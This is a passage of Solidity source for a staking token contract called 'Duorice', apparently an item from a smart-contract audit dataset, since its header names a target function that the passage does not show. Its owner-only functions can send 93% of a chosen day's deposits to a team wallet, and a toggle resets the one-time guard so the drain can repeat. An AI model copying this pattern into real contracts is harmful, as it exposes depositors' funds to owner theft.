// Contract: Duorice
// Target function: function flushdevShareOfStakeSells() external onlyOwner() nonReentrant
. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }

    function sqrrt(uint256 a) internal pure returns (uint c) {
        if (a > 3) {
            c = a;
            uint b = add( div( a, 2), 1 );
            while (b < c) {
                c = b;
                b = div( add( div( a, b ), b), 2 );
            }
        } else if (a != 0) {
            c = 1;
        }
    }
}


contract Duorice is ERC20, Ownable {
    using SafeMath for uint256;

    event UserStake(
        address indexed addr,
        uint256 timestamp,
        uint256 rawAmount,
        uint256 duration
    );

    event UserStakeCollect(
        address indexed addr,
        uint256 timestamp,
        uint256 rawAmount
    );

    event UserLobby(
        address indexed addr,
        uint256 timestamp,
        uint256 rawAmount
    );

    event UserLobbyCollect(
        address indexed addr,
        uint256 timestamp,
        uint256 rawAmount
    );

    event stake_sell_request(
        address indexed addr,
        uint256 timestamp,
        uint256 price,
        uint256 rawAmount,
        uint256 stakeId
    );

    event stake_loan_request(
        address indexed addr,
        uint256 timestamp,
        uint256 rawAmount,
        uint256 duration,
        uint256 stakeId
    );

    event stake_lend(
        address indexed addr,
        uint256 timestamp,
        uint256 stakeId
    );

    event stake_loan(
        address indexed addr,
        uint256 timestamp,
        uint256 stakeId,
        uint256 value
    );

    event day_lobby_entry(
        uint256 timestamp,
        uint256 day,
        uint256 value
    );

				   
										  
	 
	

    /* Address of flush accs */
    address internal constant avariceTeam_addr = 0x8136046f7eCbaAEB675A658772Aa2594A8D4b254; // 
																									 
																																																 
    address internal marketing_addr = 0x7D8C5B47F8227568Be66237031E0b398fF702c48;
    address internal buyBack_addr = 0x90F85C51CCE45b5bcE6A8036e1D23ce9BBEdea81;

																															  
												  

    /* % from every day's lobby entry dedicated to avarice team, marketing and buy back */
    uint256 internal constant DM_avariceTeam_percentage = 5;      
    uint256 internal constant DM_marketing_percentage = 1;      
    uint256 internal constant DM_buyBack_percentage = 1;      

															   
																   

														   
													   

    /* Max staking days */
    uint256 internal constant max_stake_days = 300;  

    /* Ref bonus NR, ex. 20 = 5% */
    uint256 internal constant ref_bonus_NR = 20;  

    /* Refered person bonus NR, ex. 100 = 1% */
    uint256 internal constant ref_bonus_NRR = 100;  

    /* dividends pool caps at 60 days, meaning that the lobby entery of days > 60 will only devide for next 60 days and no more */
    uint256 internal constant dividendsPoolCapDays = 60;  

    /* Allowing the dev to flush the first lobby day */
    bool public firstDayFlushed = false;  

    /* Loaning feature is paused? */
    bool public loaningIsPaused = true; 

    /* Stake selling feature is paused? */
    bool public stakeSellingIsPaused = true; 

    uint256 public constant defaultLobby = 3000000 * 1e18;

    /* ------------------ for the sake of UI statistics ------------------ */
    // lobby memebrs overall data 
    struct memberLobby_overallData{
        uint256 overall_collectedTokens;
        uint256 overall_lobbyEnteries;
        uint256 overall_stakedTokens;
        uint256 overall_collectedDivs;
    }
    // new map for every user's overall data  
    mapping(address => memberLobby_overallData) public mapMemberLobby_overallData;
    // total lobby entry  
    uint256 public overall_lobbyEntry;
    // total staked tokens  
    uint256 public overall_stakedTokens;
    // total lobby token collected  
    uint256 public overall_collectedTokens;
    // total stake divs collected  
    uint256 public overall_collectedDivs;
    // total bonus token collected  
    uint256 public overall_collectedBonusTokens;
    // total referrer bonus paid to an address  
    mapping(address => uint256) public referrerBonusesPaid;
    // counting unique (unique for every day only) lobby enteries for each day
    mapping(uint256 => uint256) public usersCountDaily;
    // counting unique (unique for every day only) users
    uint256 public usersCount = 0;
    /* Total ever entered as stake tokens */ 
    uint256 public saveTotalToken;
    /* ------------------ for the sake of UI statistics ------------------ */


    /* lobby memebrs data */ 
    struct memberLobby{
        uint256 memberLobbyValue;
									
        bool hasCollected;
        address referrer;
    }

    /* new map for every entry (users are allowed to enter multiple times a day) */ 
    mapping(address => mapping(uint256 => memberLobby)) public mapMemberLobby;

    /* day's total lobby entry */ 
    mapping(uint256 => uint256) public lobbyEntry;          


    /* User stakes struct */ 
    struct memberStake {
        address userAddress;
        uint256 tokenValue;
        uint256 startDay;
        uint256 endDay;
        uint256 stakeId;
        uint256 price; // use: sell stake
        uint256 loansReturnAmount; // total of the loans return amount that have been taken on this stake 
        bool stakeCollected;
        bool stake_hasSold; // stake been sold ?
        bool stake_forSell; // currently asking to sell stake ?
        bool stake_hasLoan; // is there an active loan on stake ?
        bool stake_forLoan; // currently asking for a loan on the stake ?
    }

    /* A map for each user */ 
    mapping(address => mapping(uint256 => memberStake)) public mapMemberStake;

    /* Total active tokens in stake for a day */ 
    mapping(uint256 => uint256) public daysActiveInStakeTokens;
    mapping(uint256 => uint256) public daysActiveInStakeTokensIncrese;
    mapping(uint256 => uint256) public daysActiveInStakeTokensDecrase;

    /* Time of contract launch */
    uint256 public LAUNCH_TIME;   
    uint256 currentDay;
    bool public launched;

    constructor() {
        _mint(msg.sender, defaultLobby);
        LAUNCH_TIME = block.timestamp.add(180 days);
        launched = false;
    }

    function launch() public onlyOwner(){
        require(launched == false,"contract already launched!");
		LAUNCH_TIME = block.timestamp.sub(1 days);
        launched = true;
    } 

    /* Owner switching the loaning feature status */
    function switchLoaningStatus() external onlyOwner() {
        if (loaningIsPaused == true) {
            loaningIsPaused = false;
        } 
        else if (loaningIsPaused == false) {
            loaningIsPaused = true;
        }
    }
    
    /* Owner switching the stake selling feature status */
    function switchStakeSellingStatus() external onlyOwner() {
        if (stakeSellingIsPaused == true) {
            stakeSellingIsPaused = false;
        } 
        else if (stakeSellingIsPaused == false) {
            stakeSellingIsPaused = true;
        }
    }

    /* Flushed the 1st day's lobby entry to dev address (since there could be no users with tokens on day 1 and therefor no active stakes) */ 
    function flushFirstDayLobbyEntry(uint256 at) external onlyOwner() nonReentrant {
        require(firstDayFlushed == false);
        firstDayFlushed = true;

        payable(avariceTeam_addr).transfer((lobbyEntry[at] * 93) /100);  
    }

    /* turning off the first day flush functionality */ 
      function flushFirstDayLobbyEntrySwitch() external onlyOwner() {
        if (firstDayFlushed == true) {
            firstDayFlushed = false;
        } 
        else if (firstDayFlushed == false) {
            firstDayFlushed = true;
        }
    }
      
    
    /* change marketing wallet address % */ 
    function do_changeMarketingAddress(address adr) external onlyOwner() {
        marketing_addr = adr;
    }